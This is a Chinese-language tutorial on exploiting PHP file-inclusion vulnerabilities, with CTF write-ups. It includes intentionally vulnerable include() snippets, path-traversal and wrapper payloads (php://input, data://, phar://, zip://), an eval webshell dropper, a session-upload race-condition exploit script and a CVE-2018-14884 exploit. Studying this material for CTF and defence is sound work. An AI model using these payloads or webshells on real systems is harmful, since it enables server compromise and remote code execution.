文件包含作用函数:

require//包含过程中出现错误直接退出程序
include();//包含过程出现错误,抛出警告,程序继续运行
require_once();//包括require()的功能,但函数只包含一次
include_once();//包括include()的功能,但函数只包含一次

该函数用以加载另一个文件中的php代码,并且当php来执行

而漏洞产生的原因则是因为当函数中的参数未经过严格的过滤,且用户可控时,当用户包含了其它恶意文件代码,就导致执行了非预期操作

本地文件包含

无限制:

2.php代码:
<?php $a = $_GET['a']; include($a);?>
1.php代码:
<?php phpinfo();?>

可用于读取系统其它文件的内容

例如2.php?a=../../../../../../../etc/passwd

有限制:

2.php代码:
<?php $a = $_GET['a'];include($a.".html");?>
1.php代码:
<?php phpinfo();?>

绕过方法:

%00截断,条件:magic_quotes_gpc = Off,php版本<5.3.4

路径长度截断,条件:php版本<5.2.8

windows OS –> 在文件后加点,点号需要长于256;linux OS –> 用./,需长于4096

Windows下目录最大长度为256字节,超出的部分会被丢弃;

Linux下目录最大长度为4096字节,超出的部分会被丢弃。

远程文件包含

无限制:

2.php代码:
<?php $a = $_GET['a']; include($a);?>
1.php代码:
<?php phpinfo();?>

有限制:

2.php代码:
<?php $a = $_GET['a'];include($a.".html");?>
1.php代码:
<?php phpinfo();?>

在末尾加上%3f%23绕过

PHP支持的协议和封装协议

php://伪协议

条件

  • allow_url_fopen:off/on
  • allow_url_include :仅php://input php://stdin php://memory php://temp需要on

php:// 访问各个输入/输出流(I/O streams),常使用php://filter用于读取源码php://input用于执行php代码

php://input

enctype="multipart/form-data"php://input无效

用法?file=php://input,利用POST传入

利用php://input写马(亦可命令执行):

2.php代码:
<?php $a = $_GET['a']; include($a);?>

要求:同时开启 allow_url_fopenallow_url_include(PHP < 5.3.0)即可造成任意代码执行

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

php://filter

使用

一种元封装器, 设计用于数据流打开时的筛选过滤应用。

该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:

可用的过滤器列表(4类)

字符串过滤器 作用
string.rot13 等同于str_rot13(),rot13变换
string.toupper 等同于strtoupper(),转大写字母
string.tolower 等同于strtolower(),转小写字母
string.strip_tags 等同于strip_tags(),去除html、PHP语言标签
转换过滤器 作用
convert.base64-encode & convert.base64-decode 等同于base64_encode()base64_decode(),base64编码解码
convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串与 8-bit 字符串编码解码
压缩过滤器 作用
zlib.deflate & zlib.inflate 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
bzip2.compress & bzip2.decompress 同上,在本地文件系统中创建 bz2 兼容文件的方法。
加密过滤器 作用
mcrypt.* libmcrypt 对称加密算法
mdecrypt.* libmcrypt 对称解密算法
  1. php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)
  2. php://input + [POST DATA]执行php代码

演示

<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

成功写马

string.strip_tags方法

string.strip_tags:使用此过滤器等同于用 strip_tags()函数处理所有的流数据。可以用两种格式接收参数:一种是和 strip_tags()函数第二个参数相似的一个包含有标记列表的字符串,一种是一个包含有标记名的数组。

strip_tags():从字符串中去除 HTML 和 PHP 标记

ROT13方法

编码解码网站:https://cryptii.com/pipes/rot13-decoder

file://伪协议

条件

  • allow_url_fopen:off/on
  • allow_url_include :off/on

用法

用于访问本地文件系统

  1. file://[文件的绝对路径和文件名] a=file://D:/phpstudy/WWW/test/1.php
  2. [文件的相对路径和文件名] a=./1.php
  3. [http://网络路径和文件名] a=http://127.0.0.1/phpinfo.txt

演示

2.php代码:
<?php $a = $_GET['a']; include($a);?>
1.php代码:
<?php phpinfo();?>

data://伪协议

条件

  • allow_url_fopen:on
  • allow_url_include :on

用法

PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

  1. data://text/plain;base64,
  2. data://text/plain,
  3. data:text/plain;base64,
  4. data:text/plain,

演示

2.php代码:
<?php $a = $_GET['a']; include($a);?>
<?php phpinfo(); ===base64===>  PD9waHAgcGhwaW5mbygpOw==

读取文件内容操作

<?php show_source('1.php'); ===base64===>   PD9waHAgc2hvd19zb3VyY2UoJzEucGhwJyk7

phar://伪协议

用法:?a=phar://压缩包/内部文件 phar://xxx.png/shell.php

2.php代码:
<?php $a = $_GET['a']; include($a);?>

注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。

步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。

亦可写马

cmd=fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');

http:// & https:// 伪协议

条件

  • allow_url_fopen:on
  • allow_url_include :on

用法

http://example.com
http://example.com/file.php?var1=val1&var2=val2
http://user:password@example.com
https://example.com
https://example.com/file.php?var1=val1&var2=val2
https://user:password@example.com

zip:// & bzip2:// & zlib://伪协议

条件

  • allow_url_fopen:off/on
  • allow_url_include :off/on

用法

zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。

  1. zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传
  2. compress.bzip2://file.bz2 压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)
  3. compress.zlib://file.gz 压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)

演示

2.php代码:
<?php $a = $_GET['a']; include($a);?>

用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php

条件: PHP > =5.3.0, #在浏览器中要编码为%23

亦可与上面的一样就行写马操作

Session文件包含

LFI Session

index.php

<?php
    $file  = $_GET['file'];
    include($file);
?>

session.php

<?php 
    session_start();
    $name = $_POST['name'];
    $_SESSION["name"] = $name;
?>

写session文件马:

包含session文件,成功命令执行

本地配置如下:

  • session.auto_start:在php接收请求的时候自动初始化Session,不需要再执行session_start(),默认情况下关闭。
  • session.save_path:Session存储的位置,我这里就是D:\phpstudy\Extensions\tmp\tmp
  • session.serialize_handler
    • php:一直都在(默认方式) 它是用 |分割。
    • php_serialize :php5.5之后启用 它是用serialize反序列化格式分割。
  • session.use_strict_mode:默认为0,用户可以自己定义Session ID。比如,我们在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:sess_flag
  • session.upload_progress:php>=5.4添加的。最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中(包含用户可控的值),即使此时用户没有初始化Session,PHP也会自动初始化Session。 而且,默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。
  • session.upload_progress.enabled:默认开启,表示upload_progress功能开始,php能在每一个文件上传时监测上传进度,这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。
  • session.upload_progress.cleanup:默认开启这个选项,表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要。
  • session.upload_progress.prefixsession.upload_progress.name:当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name变量同名(PHP_SESSION_UPLOAD_PROGRESS)时(这部分数据用户可控),上传进度可以在SESSION中获得。当PHP检测到这种POST请求时,它会在SESSION中添加一组数据(系统自动初始化session), 索引是session.upload_progress.prefixsession.upload_progress.name连接在一起的值。
  • session.upload_progress.freq **与session.upload_progress.min_freq**:选项控制了上传进度信息应该多久被重新计算一次。 通过合理设置这两个选项的值,这个功能的开销几乎可以忽略不计。

NO session_start()

在没有session_start()的时候,就该利用5.4后的新功能upload_progress来进行操作了

PHP_SESSION_UPLOAD_PROGRESS的官方手册

在session中部分数据(session.upload_progress.name)是用户自己可以控制的。那么我们只需要在上传文件的过程中,在Cookie中设置PHPSESSID=flag(默认情况下用户可以自定义session ID),同时上传一个恶意的字段PHP_SESSION_UPLOAD_PROGRESS,只要上传包里带这个键,PHP就会自动启用Session,同时,我们在Cookie中设置了PHPSESSID=flag,所以Session会自动创建,但是有一个session.upload_progress.cleanup这个选项是默认开启的,此时就需要用条件竞争来利用。写脚本即可

exp:

import io
import sys
import requests
import threading

sessid = 'flag'
url = 'http://172.17.10.2:801/index.php'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            url,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('whoami');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'{url}?file=../Extensions/tmp/tmp/sess_{sessid}')
        if 'extrader' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

得到结果如下

当然也可以用burpintruder模块进行操作

利用php7_Segment_Fault特性

CVE-2018-14884

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell。这个崩溃原因是存在一处空指针引用。

该方法仅适用于以下php7版本,php5并不存在该崩溃。

条件

  • php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
  • php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
  • php7.2.2-7.2.8可以利用, 7.2.9-∞到现在的版本已被修复

Exp:

import requests
##BytesIO实现了在内存中读写bytes
from io import BytesIO
import re
payload = "<?php eval($_POST[1]);?>"
#BytesIO(payload.encode()).getvalue()
data={
   'file': BytesIO(payload.encode())
}
url="http://7b0dc85a-b370-4a5a-89ca-d2399fd4de31.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
    r=requests.post(url=url,files=data,allow_redirects=False)
except:
    print("fail!")

参考:[NPUCTF2020]ezinclude(PHP临时文件包含)

栗子

ZJCTF-2019-NiZhuanSiWei

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

file_get_contents:将整个文件读入一个字符串

首先传入text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=绕过第一个if

然后传入file=php://filter/read=convert.base64-encode/resource=useless.php读取useless.php

base64解码后代码如下:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

随后再传入password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";},包含file=useless.php即可得到flag

完整payload:

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
file=useless.php
password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

[BSidesCF 2020]Had a bad day

请求index.php?category=woofers'时得到include报错,并且include会字符串后面加上一个.php

于是先用php://filter协议读一下index.php文件

php://filter/read=convert.base64-encode/resource=index,解码得到入如下结果(舍去html元素)

<?php
    $file = $_GET['category'];
    if(isset($file))
    {                    
        if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index"))
        {                        
            include ($file . '.php');
        }else{                        
            echo "Sorry, we currently only support woofers and meowers.";                    
        }                
    }                
?>

要求category必须携带woofers或者meowers才能进行include操作,那么加上去就可以了

payload:php://filter/read=convert.base64-encode/resource=woofers/../flag

解码得到flag

网上还有一种说法就是php://filter伪协议可以套一层协议,也就是这样

php://filter/read=convert.base64-encode/woofers/resource=flag

这样提交的参数既包含有woofers这个字符串,也不会影响正常的包含

参考